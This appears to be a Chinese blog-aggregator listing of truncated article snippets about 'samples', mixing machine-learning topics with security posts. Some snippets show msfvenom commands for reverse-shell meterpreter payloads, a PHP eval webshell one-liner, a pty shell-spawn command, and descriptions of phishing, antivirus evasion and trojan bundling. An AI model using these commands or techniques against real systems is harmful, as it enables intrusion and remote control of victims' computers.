样本smartassembly木马57735
如何根据邮件样本分析是否为容易软件
如何根据邮件样本分析是否为容易软件 发件人身份： 检查发件人的电子邮件地址，看它是否来自一个可信赖的源。有时，恶意邮件会伪造看似合法的电子邮件地址。 检查邮件头部信息： 邮件头部信息包含了关于邮件路径和来源的详细信息。通过检查这些信息，可以发现邮件是否被伪造。 邮件内容： 恶意邮件通常包含诱导性的语 ......
TF-VAEGAN：添加潜在嵌入(Latent Embedding)的VAEGAN处理零样本学习
前面介绍了将VAE+GAN解决零样本学习的方法：f-VAEGAN-D2，这里继续讨论引入生成模型处理零样本学习（Zero-shot Learning, ZSL）问题。论文“Latent Embedding Feedback and Discriminative Features for Zero-S ......
多模态大模型少样本自适应综述
前言 在医学成像和遥感等一些细粒度领域，多模态基础模型的性能往往不尽人意。因此，许多研究者开始探索这些模型的少样本适应方法，逐渐衍生出三种主要技术途径：1）基于提示的方法；2）基于适配器的方法；3）基于外部知识的方法。尽管如此，这一迅速发展的领域产生了大量结果，但尚无全面的综述来系统地整理研究进展。 ......
完蛋，我被挖矿木马包围了｜使用 TLS 连接 Docker
近日，白泽在使用 docker 的时候，开放了防火墙的端口，以 SSH 方式访问远程服务器的 docker 守护进程（无需使用密钥即可建立连接），随后竟遭到了挖矿木马的攻击！ ......
f-VAEGAN-D2：VAE+GAN处理零样本学习问题
虽然f-VAEGAN-D2在题目中说“适用任意样本”，但对比的Few-shot相关的实验较少，这里仅讨论零样本学习的情况。 1. 背景介绍 由于为每个对象收集足够数量的高质量带标签样本难以实现，使用有限的标签进行训练学习一直是一个重要的研究方向。零样本学习（Zero-Shot Learning, Z ......
QC样本和实验样本的区别
QC样本（Quality Control samples）和实验样本在代谢组学研究中扮演着不同但互补的角色。为了更生动地解释它们之间的区别，我们可以把代谢组学实验比作一场精心策划的宴会。 1. **实验样本**：想象实验样本就像是宴会上的主要菜肴。这些样本来自于你的实验对象，比如研究的生物体或细胞。 ......
有关统计分析方法的一道题——证明矩估计的方差（即样本方差）是总体方差的无偏估计
今天上午考试考了这道题，但是好巧不巧自己没看具体的证明过程（可能因为自己忽略了这个部分吧）...（有关这道题当时的证明过程，我就记得了\(E(\overline{X})=\mu, D(\overline{X}) = \frac{\sigma^2}{n}\)，别的都不记得了...）考场直接破大防了.. ......
钓鱼手法及木马免杀技巧
简述钓鱼是攻防对抗中一种常用的手段，攻击者通常伪装成可信任的实体，例如合法的机构、公司或个人，以引诱受害者揭示敏感信息或执行恶意操作，能快速地撕破目标的伤口，快速进内网进行刷分，投递木马同时需要考虑逃避杀毒软件检测，本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开信息搜集批量邮箱搜集https:/ ......
电脑杀毒软件（Antivirus Software），也称为反病毒软件，是一种用于保护计算机免受恶意软件、病毒、木马、间谍软件等威胁的安全工具。
电脑杀毒软件（Antivirus Software），也称为反病毒软件，是一种用于保护计算机免受恶意软件、病毒、木马、间谍软件等威胁的安全工具。 它通过扫描、检测、清除和防御恶意软件，以确保计算机系统的安全性和稳定性。 当涉及选择电脑杀毒软件时，以下是一些在中国和国外备受认可的选项，以及它们的特点： ......
玩转字词句魔法：打造超强样本集的数据增强策略，句式变换揭秘同义句生成与回译在数据增强中的创新应用
玩转字词句魔法：打造超强样本集的数据增强策略，句式变换揭秘同义句生成与回译在数据增强中的创新应用 1. WordSimilarity 这是一个基于哈工大同义词词林扩展版的单词相似度计算方法的python实现，参考论文如下： pip install WordSimilarity from word_s ......
【THM】-Yara(恶意样本检测工具)-学习
本文相关的TryHackMe实验房间链接：https://tryhackme.com/room/yara 本文相关内容：了解有关Yara的应用程序和语言规则，以便将其用于威胁情报收集、取证分析和威胁追踪。 什么是Yara(雅拉)？ Yara的GitHub存储库链接：https://github.co ......
钓鱼手法及木马免杀技巧
简述 钓鱼是攻防对抗中一种常用的手段，攻击者通常伪装成可信任的实体，例如合法的机构、公司或个人，以引诱受害者揭示敏感信息或执行恶意操作，能快速地撕破目标的伤口，快速进内网进行刷分，投递木马同时需要考虑逃避杀毒软件检测，本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开 信息搜集 批量邮箱搜集 htt ......
机器学习-线性回归-样本归一化处理-05
目录1. 为什么要对样本进行 归一化2. 归一化的方式一 最大最小值3. 归一化的方式二 标准归一化 1. 为什么要对样本进行 归一化 样本之间的数量级是千差万别 有量纲的 例如： theta1 >> theta2 数值小的 theta2 反而能快速的 收敛 数值大的 theta1 收敛较慢 出现 ......
基于AidLux的工业视觉少样本缺陷检测实战
<div class="video"> <iframe src="https://www.bilibili.com/video/BV1eG411Y7ha/?vd_source=1eedca4ba38e6ff0c1ed9e366feef663" scrolling="no" border="0" fr ......
工业视觉少样本缺陷检测实战应用
工业视觉少样本缺陷检测实战应用 1.AidLux介绍 AidLux能广泛应用在智能工业、AI教育、智慧人居、智慧城市、智慧物流、智慧交通、智慧零售和机器人等诸多场景中。 集成国际主流AI框架和多种开发环境、后台服务程序、编译器及图形开发组件，无须配置开箱即用，极大地简化了开发步骤；自主研发的AI智能 ......
【scikit-learn基础】--『数据加载』之样本生成器
除了内置的数据集，scikit-learn还提供了随机样本的生成器。通过这些生成器函数，可以生成具有特定特性和分布的随机数据集，以帮助进行机器学习算法的研究、测试和比较。 目前，scikit-learn库（v1.3.0版）中有20个不同的生成样本的函数。本篇重点介绍其中几个具有代表性的函数。 1. ......
不平衡少样本数据集的算法方案
在图像实际的细分场景中，经常会遇到数据集不均衡以及数据集数量有限等问题，如何有效利用数据集，提升自己的算法效果，这里大刀基于自己的实际项目经验，分享在实际图像分类领域遇到问题，以及解决的方案，供参考。 前言 大家好，我是张大刀。之前有个智慧工地的项目，其中一个需求是监控工地上的起重机的使用合规性情况 ......
基于Aidlux平台的工业视觉少样本缺陷检测
工业视觉缺陷检测的工作流程 常用异常检测算法 面临的挑战及发展 图像分割的数据标注 数据标注准确的重要性： 训练模型的基础 提高模型性能 降低误判和误诊分险 减少资源浪费 自动标注SAM 模型切换 模型部署 # -*- coding: UTF-8 -*- import aidlite_gpu imp ......
使用Aidlux进行工业视觉少样本缺陷检测的实战应用
Aidlux是一个强大的工具，可以帮助我们进行深度学习模型的开发和部署。在这个视频中，我们将会看到如何下载和安装Aidlux，如何使用VSCode远程连接到Aidlux，如何在Aidlux商店中安装Python3.9和OpenCV-Python，以及如何进行模型转换和上传。 首先，我们需要下载和安装 ......
【网安神器】MSF木马制作
Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=Your IP LPORT=Your Port -f elf -o ./shell.elf Windows msfvenom -p windows/meterpreter/revers ......
木马隐藏分析
实验目的： 通过本实验，读者将学习到以下内容： （1）了解木马隐藏技术的基本原理 （2）提高木马攻击的防范意识 （3）学会木马防范的相关工具 注意：本实验在虚拟机上面进行，不准用于破坏他人计算机环境或诱导他人下载木马，本实验仅做学习交流，禁止一切非法行为，否则后果自负！ 实验环境 Win71虚拟机作 ......
常用木马和提权命令
作用是在Python中创建一个伪终端（pty），并在其中启动一个bash shell。这样，你可以在Python脚本中执行bash命令，就像在终端中一样。 python -c 'import pty; pty.spawn("/bin/bash")' 一句话木马： <?php @eval($_REQU ......
机器学习-小样本情况下如何机器学习
交叉验证是在机器学习建立模型和验证模型参数时常用的办法。交叉验证，顾名思义，就是重复的使用数据，把得到的样本数据进行切分，组合为不同的训练集和测试集，用训练集来训练模型，用测试集来评估模型预测的好坏。在此基础上可以得到多组不同的训练集和测试集，某次训练集中的某样本在下次可能成为测试集中的样本，即所谓 ......
样本扰动和属性扰动
"扰动"指的是在集成学习过程中引入的随机性或不确定性。扰动的引入有助于增加模型的多样性，从而提高整体模型的泛化性能。在集成学习中，主要通过两种方式引入扰动：样本扰动和属性扰动。 样本扰动： 在Bagging（Bootstrap Aggregating）中，通过有放回地从原始训练集中随机抽样生成多个不 ......
论文精读：用于少样本目标检测的元调整损失函数和数据增强（Meta-tuning Loss Functions and Data Augmentation for Few-shot Object Detection）
论文链接：Meta-Tuning Loss Functions and Data Augmentation for Few-Shot Object Detection Abstract 现阶段的少样本学习技术可以分为两类：基于微调（fine-tuning）方法和基于元学习（meta-learning ......
小样本学习在图像识别中的挑战与突破
小样本学习（Few-Shot Learning）是一种机器学习方法，旨在从很少的样本中学习并做出准确的预测。在图像识别领域，小样本学习面临一些挑战，同时也涌现出一些突破性的解决方法。 挑战： 缺乏数据： 小样本学习的主要挑战之一是样本数量有限，这使得传统深度学习模型难以学习足够的特征。 过拟合： 由 ......
MSF生成远控木马
实验环境： 靶机Windows server 2003 192.168.242.129 攻击机kali 192.168.242.131 实验工具：Metasploit Framework(MSF) 实验过程： 确定攻击机和靶机之间连通性 利用msfvenom生成远控木马 msfvenom是msfpa ......
基于BERT的文本分类（以2023年CCF的小样本数据分类任务为例）
文本分类任务 1、问题分析 文本分类作为NLP的入门任务，因为其应用广泛被大家熟知，文本以今年的竞赛为例，详细的说明一下文本分类任务的实现步骤，竞赛如下： 因为该赛题是一个文本分类的任务，我们需要知道该任务的输入和输出，数据介绍如下，根据数据我们可以看出文本的输入分别是专利的title、assign ......
自解压捆绑木马上线
自解压捆绑木马 使用CS生成一个木马文件将木马跟一个正常的文件捆绑在一起，当点捆绑生成的EXE文件就会执行木马和正常的文件。 选中木马文件和一个正常的文件，选择添加到压缩文件 常规-勾选创建自解压格式压缩文件并修改压缩文件名 高级-点击自解压选项 常规-填写解压路径 设置-填写解压后运行的路径，一个 ......